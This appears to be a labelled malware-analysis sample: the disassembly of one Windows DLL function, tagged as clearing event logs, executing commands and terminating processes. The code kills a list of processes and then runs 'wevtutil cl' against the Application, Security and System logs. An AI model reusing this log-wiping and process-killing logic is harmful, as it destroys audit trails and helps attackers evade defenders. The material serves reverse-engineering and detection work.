Function at 0x180001950
Capabilities:
Clear windows event logs
Execute command
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x100
mov rax, qword [0x180006040]
xor rax, rsp
mov qword [rbp + 0x47], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x41], xmm0
mov qword [rbp - 0x31], rax
lea rcx, [rbp - 0x41]
call fcn.1800017f0
nop
xor esi, esi
mov ebx, esi
mov rax, qword [rbp - 0x39]
mov rcx, qword [rbp - 0x41]
sub rax, rcx
sar rax, 2
test rax, rax
je 0x180001a24
nop dword [rax]
mov edx, dword [rcx + rbx*4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x180002100]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp - 0x41]
mov edi, dword [rax + rbx*4]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, edi
je 0x180001a0d
mov r8d, edi
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x180001a0d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc rbx
mov rax, qword [rbp - 0x39]
mov rcx, qword [rbp - 0x41]
sub rax, rcx
sar rax, 2
cmp rbx, rax
jb 0x1800019b0
lea rcx, str.wevtutil_cl_Application
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wevtutil_cl_Security
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.wevtutil_cl_System
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rbp - 0x49], esi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x61], xmm0
mov qword [rbp - 0x51], rax
xorps xmm1, xmm1
movups xmmword [rbp - 0x29], xmm1
movups xmmword [rbp - 0x19], xmm1
movups xmmword [rbp - 9], xmm1
movups xmmword [rbp + 7], xmm1
movups xmmword [rbp + 0x17], xmm1
movups xmmword [rbp + 0x27], xmm1
mov qword [rbp + 0x37], rax
mov word [rsp + 0x20], si
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
call fcn.180001f60
nop
lea r9, [rsp + 0x28]
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 0x61]
call fcn.1800012c0
mov ebx, eax
mov rdx, qword [rbp - 0x69]
cmp rdx, 7
jbe 0x180001ae7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001ae2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001ae2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002984
test ebx, ebx
jne 0x180001b1d
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp - 0x41]
test rcx, rcx
je 0x180001b5e
mov rdx, qword [rbp - 0x31]
sub rdx, rcx
and rdx, 0xfffffffffffffffc
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001b59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001b59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002984
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1800024e0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret